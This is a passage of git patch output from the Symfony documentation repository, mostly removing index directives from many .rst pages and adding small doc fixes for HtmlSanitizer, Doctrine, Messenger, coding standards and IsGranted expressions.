-    single: DependencyInjection; ExpressionLanguage
-    single: DependencyInjection; Expressions
-    single: Service Container; ExpressionLanguage
-    single: Service Container; Expressions
-
 How to Inject Values Based on Complex Expressions
 =================================================
 
diff --git a/service_container/factories.rst b/service_container/factories.rst
index ba747c82da8..7c5c87dc004 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: DependencyInjection; Factories
-
 Using a Factory to Create Services
 ==================================
 
diff --git a/service_container/import.rst b/service_container/import.rst
index 433b03d9812..2fed44e16a5 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: DependencyInjection; Importing Resources
-    single: Service Container; Importing Resources
-
 How to Import Configuration Files/Resources
 ===========================================
 
@@ -22,9 +18,6 @@ directive. The second method, using dependency injection extensions, is used by
 third-party bundles to load the configuration. Read on to learn more about both
 methods.
 
-.. index::
-    single: Service Container; Imports
-
 .. _service-container-imports-directive:
 
 Importing Configuration with ``imports``
@@ -152,9 +145,6 @@ but after the ``App\`` definition to override it.
 
 .. include:: /components/dependency_injection/_imports-parameters-note.rst.inc
 
-.. index::
-    single: Service Container; Extension configuration
-
 .. _service-container-extension-configuration:
 
 Importing Configuration via Container Extensions
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 81d06810f9f..d88e5139824 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: DependencyInjection; Injection types
-
 Types of Injection
 ==================
 
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 75438026a57..bdac2a0bc46 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Dependency Injection; Lazy Services
-
 Lazy Services
 =============
 
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 3c1db4d9a73..9cab17e2254 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Parent services
-
 How to Manage Common Dependencies with Parent Services
 ======================================================
 
diff --git a/service_container/request.rst b/service_container/request.rst
index d72a533507b..35a20b8d69f 100644
--- a/service_container/request.rst
+++ b/service_container/request.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: DependencyInjection; Request
-    single: Service Container; Request
-
 How to Retrieve the Request from the Service Container
 ======================================================
 
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index d490bcb3769..03e142b3455 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Service Closures
-
 Service Closures
 ================
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 1b09c3b54f9..1bf0bf86d1e 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Service Container; Decoration
-
 How to Decorate Services
 ========================
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index efa6d71549f..86389a71144 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Service Subscribers
-
 .. _service-locators:
 
 Service Subscribers & Locators
diff --git a/service_container/shared.rst b/service_container/shared.rst
index 0b87976dc39..003ad2914b7 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Service Container; Shared Services
-
 How to Define Non Shared Services
 =================================
 
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index 0a83bebed9e..4dfec92709f 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Synthetic Services
-
 How to Inject Instances into the Container
 ------------------------------------------
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7c8947c2e6b..8777639cd60 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: DependencyInjection; Tags
-    single: Service Container; Tags
-
 How to Work with Service Tags
 =============================
 
diff --git a/session.rst b/session.rst
index cd9fb1f07a4..5adf9c8aeb0 100644
--- a/session.rst
+++ b/session.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation, Sessions
-
 Sessions
 ========
 
@@ -122,9 +118,6 @@ class.
     prevent starting sessions for anonymous users, you must *completely* avoid
     accessing the session.
 
-.. index::
-   single: Session; Flash messages
-
 .. _flash-messages:
 
 Flash Messages
@@ -453,9 +446,6 @@ particular cookie by reading the ``getLifetime()`` method::
 The expiry time of the cookie can be determined by adding the created
 timestamp and the lifetime.
 
-.. index::
-    single: Session; Database Storage
-
 .. _session-database:
 
 Store Sessions in a Database
@@ -1152,9 +1142,6 @@ This is the recommended migration workflow:
 #. After verifying that the sessions in your application are working, switch
    from the migrating handler to the new handler.
 
-.. index::
-    single: Sessions, saving locale
-
 .. _locale-sticky-session:
 
 Making the Locale "Sticky" during a User's Session
@@ -1344,9 +1331,6 @@ event::
     language preferences, you also need to update the session when you change
     the ``User`` entity.
 
-.. index::
-   single: Sessions, Session Proxy, Proxy
-
 Session Proxies
 ---------------
 
diff --git a/setup.rst b/setup.rst
index 28c38aac9ac..ec92fcb3d3a 100644
--- a/setup.rst
+++ b/setup.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Installing and Setting up Symfony
-
 Installing & Setting up the Symfony Framework
 =============================================
 
diff --git a/setup/bundles.rst b/setup/bundles.rst
index fe4f59cb819..bd3346b7ea1 100644
--- a/setup/bundles.rst
+++ b/setup/bundles.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Upgrading; Bundle; Major Version
-
 Upgrading a Third-Party Bundle for a Major Symfony Version
 ==========================================================
 
diff --git a/setup/docker.rst b/setup/docker.rst
index cc6b4f6ebf6..605afa64c19 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -1,5 +1,3 @@
-.. index:: Docker
-
 Using Docker with Symfony
 =========================
 
diff --git a/setup/flex.rst b/setup/flex.rst
index d5a9c113dc2..7c12e389c67 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -1,5 +1,3 @@
-.. index:: Flex
-
 Upgrading Existing Applications to Symfony Flex
 ===============================================
 
diff --git a/setup/homestead.rst b/setup/homestead.rst
index 7143b5adeae..9e2ecad5930 100644
--- a/setup/homestead.rst
+++ b/setup/homestead.rst
@@ -1,5 +1,3 @@
-.. index:: Vagrant, Homestead
-
 Using Symfony with Homestead/Vagrant
 ====================================
 
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index aaffd2f36ae..d6faf5f81c5 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Upgrading; Major Version
-
 Upgrading a Major Version (e.g. 5.4.0 to 6.0.0)
 ===============================================
 
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index a6a23b787f1..bb1cfda62fa 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Upgrading; Minor Version
-
 Upgrading a Minor Version (e.g. 5.0.0 to 5.1.0)
 ===============================================
 
diff --git a/setup/upgrade_patch.rst b/setup/upgrade_patch.rst
index 632f6602550..d867f371dee 100644
--- a/setup/upgrade_patch.rst
+++ b/setup/upgrade_patch.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Upgrading; Patch Version
-
 Upgrading a Patch Version (e.g. 5.0.0 to 5.0.1)
 ===============================================
 
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 89ff10f2e62..f5f259413b5 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Web Server
-
 Configuring a Web Server
 ========================
 
diff --git a/templates.rst b/templates.rst
index 3f451faa0f9..edaf8deeb52 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Templating
-
 Creating and Using Templates
 ============================
 
@@ -414,9 +411,6 @@ In addition to the global ``app`` variable injected by Symfony, you can also
 inject variables automatically to all Twig templates as explained in the next
 section.
 
-.. index::
-   single: Templating; Global variables
-
 .. _templating-global-variables:
 
 Global Variables
@@ -1030,9 +1024,6 @@ template fragments. Configure that special URL in the ``fragments`` option:
     the application performance if you embed lots of controllers. If possible,
     :doc:`cache the template fragment </http_cache/esi>`.
 
-.. index::
-    single: Templating; hinclude.js
-
 .. _templates-hinclude:
 
 How to Embed Asynchronous Content with hinclude.js
@@ -1424,9 +1415,6 @@ you can refer to it as ``@AcmeFoo/user/profile.html.twig``.
     You can also :ref:`override bundle templates <override-templates>` in case
     you want to change some parts of the original bundle templates.
 
-.. index::
-   single: Twig extensions
-
 .. _templates-twig-extension:
 
 Writing a Twig Extension
diff --git a/testing.rst b/testing.rst
index 3931efec69f..c7885328242 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests
-
 Testing
 =======
 
diff --git a/testing/database.rst b/testing/database.rst
index 0bd0d03af62..64095eec01b 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests; Database
-
 How to Test A Doctrine Repository
 =================================
 
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
index 7b47487d09f..65669698539 100644
--- a/testing/dom_crawler.rst
+++ b/testing/dom_crawler.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests; Crawler
-
 The DOM Crawler
 ===============
 
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index a55ae639e0b..46ddb82b87d 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests; HTTP authentication
-
 How to Simulate HTTP Authentication in a Functional Test
 ========================================================
 
diff --git a/testing/insulating_clients.rst b/testing/insulating_clients.rst
index e2a5b8d9ff4..5a76d517ced 100644
--- a/testing/insulating_clients.rst
+++ b/testing/insulating_clients.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests; Insulating clients
-
 How to Test the Interaction of several Clients
 ==============================================
 
diff --git a/testing/profiling.rst b/testing/profiling.rst
index 0637e134a91..f7e2d8e54da 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Tests; Profiling
-
 How to Use the Profiler in a Functional Test
 ============================================
 
diff --git a/translation.rst b/translation.rst
index 052844f70a8..e36fb9ff321 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Translations
-
 Translations
 ============
 
@@ -747,9 +744,6 @@ now use the following commands to push (upload) and pull (download) translations
 
 .. _translation-locale:
 
-.. index::
-    single: Translation; Locale
-
 Handling the User's Locale
 --------------------------
 
@@ -908,9 +902,6 @@ application.
     Define the locale requirement as a :ref:`container parameter <configuration-parameters>`
     to avoid hardcoding its value in all your routes.
 
-.. index::
-    single: Translations; Fallback and default locale
-
 .. _translation-default-locale:
 
 Setting a Default Locale
@@ -1024,11 +1015,6 @@ checks translation resources for several locales:
 
 .. _translation-debug:
 
-.. index::
-    single: Translation; Debug
-    single: Translation; Missing Messages
-    single: Translation; Unused Messages
-
 How to Find Missing or Unused Translation Messages
 --------------------------------------------------
 
@@ -1242,10 +1228,6 @@ These constants are defined as "bit masks", so you can combine them as follows::
 
 .. _translation-lint:
 
-.. index::
-    single: Translation; Lint
-    single: Translation; Translation File Errors
-
 How to Find Errors in Translation Files
 ---------------------------------------
 
diff --git a/validation.rst b/validation.rst
index 27f970a701d..33b578216dd 100644
--- a/validation.rst
+++ b/validation.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Validation
-
 Validation
 ==========
 
@@ -11,10 +8,6 @@ into a database or passed to a web service.
 Symfony provides a `Validator`_ component to handle this for you. This
 component is based on the `JSR303 Bean Validation specification`_.
 
-.. index::
-   pair: Validation; Installation
-   pair: Validation; Configuration
-
 Installation
 ------------
 
@@ -31,9 +24,6 @@ install the validator before using it:
     manual configuration to enable validation. Check out the
     :ref:`Validation configuration reference <reference-validation>`.
 
-.. index::
-   single: Validation; The basics
-
 The Basics of Validation
 ------------------------
 
@@ -145,9 +135,6 @@ be passed to the validator service to be checked.
     get the value of any property, so they can be public, private or protected
     (see :ref:`validator-constraint-targets`).
 
-.. index::
-   single: Validation; Using the validator
-
 Using the Validator Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -230,9 +217,6 @@ Inside the template, you can output the list of errors exactly as needed:
     Each validation error (called a "constraint violation"), is represented by
     a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
 
-.. index::
-   single: Validation; Callables
-
 Validation Callables
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -255,9 +239,6 @@ when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 
     ``Validation::createIsValidCallable()`` was introduced in Symfony 5.3.
 
-.. index::
-   single: Validation; Constraints
-
 .. _validation-constraints:
 
 Constraints
@@ -283,9 +264,6 @@ Symfony packages many of the most commonly-needed constraints:
 You can also create your own custom constraints. This topic is covered in
 the :doc:`/validation/custom_constraint` article.
 
-.. index::
-   single: Validation; Constraints configuration
-
 .. _validation-constraint-configuration:
 
 Constraint Configuration
@@ -519,9 +497,6 @@ of the form fields::
         ;
     }
 
-.. index::
-   single: Validation; Constraint targets
-
 .. _validator-constraint-targets:
 
 Constraint Targets
@@ -533,9 +508,6 @@ are the most common and easy to use. Getter constraints allow you to specify
 more complex validation rules. Finally, class constraints are intended
 for scenarios where you want to validate a class as a whole.
 
-.. index::
-   single: Validation; Property constraints
-
 .. _validation-property-target:
 
 Properties
@@ -636,9 +608,6 @@ class to have at least 3 characters.
     This can cause unexpected behavior if the property holds a value when initialized.
     In order to avoid this, make sure all properties are initialized before validating them.
 
-.. index::
-   single: Validation; Getter constraints
-
 Getters
 ~~~~~~~
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index f6d47badd54..9200e0d9dec 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Validation; Custom constraints
-
 How to Create a Custom Validation Constraint
 ============================================
 
diff --git a/validation/groups.rst b/validation/groups.rst
index 60aa7efb2f2..8be6e8f81b6 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Validation; Groups
-
 How to Apply only a Subset of all Your Validation Constraints (Validation Groups)
 =================================================================================
 
diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index 3565de902d8..b863d9ee3ed 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Validation; Validating raw values
-
 How to Validate Raw Values (Scalar Values and Arrays)
 =====================================================
 
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index a17193b74a8..f0fe22ce4df 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Validation; Group Sequences
-    single: Validation; Group Sequence Providers
-
 How to Sequentially Apply Validation Groups
 ===========================================
 
diff --git a/validation/severity.rst b/validation/severity.rst
index 7df7746c7f2..9692bc942cd 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Validation; Error Levels
-    single: Validation; Payload
-
 How to Handle Different Error Levels
 ====================================
 
diff --git a/validation/translations.rst b/validation/translations.rst
index 10ce5b11275..3f7f461aacd 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Validation; Translation
-
 How to Translate Validation Constraint Messages
 ===============================================
 
diff --git a/web_link.rst b/web_link.rst
index a91fd8d684c..fb81376cba3 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Web Link
-
 Asset Preloading and Resource Hints with HTTP/2 and WebLink
 ===========================================================
 
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 98e5911561f..d4d6adc3a74 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Workflow; Dumping Workflows
-
 How to Dump Workflows
 =====================
 

From 6d3fc809535b62be68dcab6b5011a6f4adf93141 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 28 Mar 2023 13:45:18 +0200
Subject: [PATCH 4487/7107] [Standards] Improve code standards about exception
 and error messages

---
 contributing/code/standards.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index e8af77af491..f60ca017280 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -179,6 +179,12 @@ Structure
 
 * Exception and error message strings must be concatenated using :phpfunction:`sprintf`;
 
+* Exception and error messages must not contain backticks, even when referring to a
+  technical element (such as a method name for example). Double quotes must be used
+  at all time;
+
+* Exception and error messages must start with a capital letter and finish with a dot ``.``;
+
 * Do not use ``else``, ``elseif``, ``break`` after ``if`` and ``case`` conditions
   which return or throw something;
 

From f4612fb661017be6d03bcdca816aa96af7ffe9f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Mar 2023 15:54:05 +0100
Subject: [PATCH 4488/7107] minor #18029 [HtmlSanitizer] Fix API usage on PHP
 config files (alexandre-daubois)

This PR was merged into the 6.2 branch.

Discussion
----------

[HtmlSanitizer] Fix API usage on PHP config files

Fixes https://github.com/symfony/symfony-docs/issues/18024

Commits
-------

2c8a35d49 [HtmlSanitizer] Fix API usage on PHP config files
---
 html_sanitizer.rst | 32 ++++++++++----------------------
 1 file changed, 10 insertions(+), 22 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 71530a87065..a75b0a02562 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -364,16 +364,13 @@ attributes from the `W3C Standard Proposal`_ are allowed.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow the <article> element and 2 attributes
-                    ->allowElement('article')
-                        ->attribute('class')
-                        ->attribute('data-attr')
+                    ->allowElement('article', ['class', 'data-attr'])
 
                     // allow the <img> element and preserve the src attribute
-                    ->allowElement('img')
-                        ->attribute('src')
+                    ->allowElement('img', 'src')
 
                     // allow the <h1> element with all safe attributes
-                    ->allowElement('h1', '*')
+                    ->allowElement('h1')
             ;
         };
 
@@ -528,12 +525,10 @@ on all elements allowed *before this setting*.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow "src' on <iframe> elements
-                    ->allowAttribute('src')
-                        ->element('iframe')
+                    ->allowAttribute('src', ['iframe'])
 
                     // allow "data-attr" on all elements currently allowed
-                    ->allowAttribute('data-attr')
-                        ->element('*')
+                    ->allowAttribute('data-attr', '*')
             ;
         };
 
@@ -620,12 +615,10 @@ This option allows you to disallow attributes that were allowed before.
                         ->element('*')
 
                     // ...except for the <section> element
-                    ->dropAttriute('data-attr')
-                        ->element('section')
+                    ->dropAttribute('data-attr', ['section'])
 
                     // disallows "style' on any allowed element
                     ->dropAttribute('style')
-                        ->element('*')
             ;
         };
 
@@ -640,7 +633,7 @@ This option allows you to disallow attributes that were allowed before.
                 ->allowAttribute('data-attr')
 
                 // ...except for the <section> element
-                ->dropAttriute('data-attr', ['section'])
+                ->dropAttribute('data-attr', ['section'])
 
                 // disallows "style' on any allowed element
                 ->dropAttribute('style')
@@ -695,8 +688,7 @@ element (even if the original one didn't contain a ``rel`` attribute):
         return static function (FrameworkConfig $framework) {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    ->forceAttribute('a')
-                        ->attribute('rel', 'noopener noreferrer')
+                    ->forceAttribute('a', 'rel', 'noopener noreferrer')
             ;
         };
 
@@ -791,9 +783,7 @@ URLs of ``<a>`` elements:
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
                     // attribute will be dropped
-                    ->allowedLinkScheme('http')
-                    ->allowedLinkScheme('https')
-                    ->allowedLinkScheme('mailto')
+                    ->allowedLinkSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the
                     // URL contains a different host
@@ -907,9 +897,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
                     // attribute will be dropped
-                    ->allowedMediaScheme('http')
-                    ->allowedMediaScheme('https')
-                    ->allowedMediaScheme('mailto')
+                    ->allowedMediaSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the URL
                     // contains a different host

From 34e669426d43bd4c17018e74200bc4833d3db64a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Mar 2023 17:27:01 +0100
Subject: [PATCH 4489/7107] minor #18091 [Doctrine] replace ManagerRegistry in
 doctrine associations doc (MrYamous)

This PR was merged into the 6.2 branch.

Discussion
----------

[Doctrine] replace ManagerRegistry in doctrine associations doc

Commits
-------

e8313e624 replace ManagerRegistry with EntityManagerInterface in doctrine associations doc
---
 doctrine/associations.rst | 19 +++++++++----------
 1 file changed, 9 insertions(+), 10 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8ebdadf7864..f89e2c9b237 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -313,14 +313,14 @@ Now you can see this new code in action! Imagine you're inside a controller::
     // ...
     use App\Entity\Category;
     use App\Entity\Product;
-    use Doctrine\Persistence\ManagerRegistry;
+    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController extends AbstractController
     {
         #[Route('/product', name: 'product')]
-        public function index(ManagerRegistry $doctrine): Response
+        public function index(EntityManagerInterface $entityManager): Response
         {
             $category = new Category();
             $category->setName('Computer Peripherals');
@@ -333,7 +333,6 @@ Now you can see this new code in action! Imagine you're inside a controller::
             // relates this product to the category
             $product->setCategory($category);
 
-            $entityManager = $doctrine->getManager();
             $entityManager->persist($category);
             $entityManager->persist($product);
             $entityManager->flush();
@@ -379,9 +378,9 @@ before. First, fetch a ``$product`` object and then access its related
 
     class ProductController extends AbstractController
     {
-        public function show(ManagerRegistry $doctrine, int $id): Response
+        public function show(ProductRepository $productRepository, int $id): Response
         {
-            $product = $doctrine->getRepository(Product::class)->find($id);
+            $product = $productRepository->find($id);
             // ...
 
             $categoryName = $product->getCategory()->getName();
@@ -412,9 +411,9 @@ direction::
     // ...
     class ProductController extends AbstractController
     {
-        public function showProducts(ManagerRegistry $doctrine, int $id): Response
+        public function showProducts(CategoryRepository $categoryRepository, int $id): Response
         {
-            $category = $doctrine->getRepository(Category::class)->find($id);
+            $category = $categoryRepository->find($id);
 
             $products = $category->getProducts();
 
@@ -433,7 +432,7 @@ by adding JOINs.
     a "proxy" object in place of the true object. Look again at the above
     example::
 
-        $product = $doctrine->getRepository(Product::class)->find($id);
+        $product = $productRepository->find($id);
 
         $category = $product->getCategory();
 
@@ -503,9 +502,9 @@ object and its related ``Category`` in one query::
     // ...
     class ProductController extends AbstractController
     {
-        public function show(ManagerRegistry $doctrine, int $id): Response
+        public function show(ProductRepository $productRepository, int $id): Response
         {
-            $product = $doctrine->getRepository(Product::class)->findOneByIdJoinedToCategory($id);
+            $product = $productRepository->findOneByIdJoinedToCategory($id);
 
             $category = $product->getCategory();
 

From d4090cef42994525901cc553a05e2adaeb62cd4c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Mar 2023 13:07:18 +0100
Subject: [PATCH 4490/7107] minor #18081 Update events.rst (hbgamra)

This PR was merged into the 6.2 branch.

Discussion
----------

Update events.rst

Add void return type

<!--

If your pull request fixes a BUG, use the oldest maintained branch that contains
the bug (see https://symfony.com/releases for the list of maintained branches).

If your pull request documents a NEW FEATURE, use the same Symfony branch where
the feature was introduced (and `6.x` for features of unreleased versions).

-->

Commits
-------

752721ede Update events.rst
---
 form/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/events.rst b/form/events.rst
index a99698aa247..d8ab9d60b87 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -272,7 +272,7 @@ method of the ``FormFactory``::
     $form = $formFactory->createBuilder()
         ->add('username', TextType::class)
         ->add('showEmail', CheckboxType::class)
-        ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event) {
+        ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event): void {
             $user = $event->getData();
             $form = $event->getForm();
 

From c05d565245b9fdcdac81e6e981d6797a656ee8c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Mar 2023 17:02:38 +0100
Subject: [PATCH 4491/7107] minor #18018 [Messenger] add
 `WorkerRateLimitedEvent` (MrYamous)

This PR was merged into the 6.2 branch.

Discussion
----------

[Messenger] add `WorkerRateLimitedEvent`

Commits
-------

70e481743 add `WorkerRateLimitedEvent`
---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e51d2158584..5a82200261c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2480,10 +2480,15 @@ of the process. For each, the event class is the event name:
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageHandledEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageReceivedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
+* :class:`Symfony\\Component\\Messenger\\Event\\WorkerRateLimitedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerRunningEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent`
 
+.. versionadded:: 6.2
+
+    The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.3.
+
 Multiple Buses, Command & Event Buses
 -------------------------------------
 

From 8239c88828d6bad6d511047cbc4116b956dd5bc9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Mar 2023 09:32:04 +0100
Subject: [PATCH 4492/7107] minor #18114 update default value for framework.ide
 (GromNaN)

This PR was merged into the 6.2 branch.

Discussion
----------

update default value for framework.ide

The default value was changed in https://github.com/symfony/symfony/pull/44575

Commits
-------

9636026f4 update default value for framework.ide
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 309362be791..03755ad6a7a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -254,7 +254,7 @@ reverse proxy. See :doc:`/deployment/proxies`.
 ide
 ~~~
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``%env(default::SYMFONY_IDE)%``
 
 Symfony turns file paths seen in variable dumps and exception messages into
 links that open those files right inside your browser. If you prefer to open

From 20f41f8e3fe5d422925804db8445d357cd74583d Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 24 Mar 2023 18:02:50 +0100
Subject: [PATCH 4493/7107] feature #17513 [Security] Use expression for
 `#[IsGranted()]` subject (HypeMC)

This PR was merged into the 6.2 branch.

Discussion
----------

[Security] Use expression for `#[IsGranted()]` subject

https://github.com/symfony/symfony/pull/46978
https://github.com/symfony/symfony/pull/48080
https://github.com/symfony/symfony/pull/48102

Commits
-------

9d4045f90 [Security] Use expression for #[IsGranted()] subject
---
 security/expressions.rst | 64 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 64 insertions(+)

diff --git a/security/expressions.rst b/security/expressions.rst
index 5fbbdd1169a..f94cf2aeda2 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -23,6 +23,7 @@ and ``#[IsGranted()]`` attribute also accept an
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\ExpressionLanguage\Expression;
         use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Security\Http\Attribute\IsGranted;
 
         class MyController extends AbstractController
         {
@@ -144,6 +145,69 @@ Additionally, you have access to a number of functions inside the expression:
     true if the user has actually logged in during this session (i.e. is
     full-fledged).
 
+In case of the ``#[IsGranted()]`` attribute, the subject can also be an
+:class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
+
+    // src/Controller/MyController.php
+    namespace App\Controller;
+
+    use App\Entity\Post;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\ExpressionLanguage\Expression;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+    class MyController extends AbstractController
+    {
+        #[IsGranted(
+            attribute: new Expression('user === subject'),
+            subject: new Expression('args["post"].getAuthor()'),
+        )]
+        public function index(Post $post): Response
+        {
+            // ...
+        }
+    }
+
+In this example, we fetch the author of the post and use it as the subject. If the subject matches
+the current user, then access will be granted.
+
+The subject may also be an array where the key can be used as an alias for the result of an expression::
+
+    #[IsGranted(
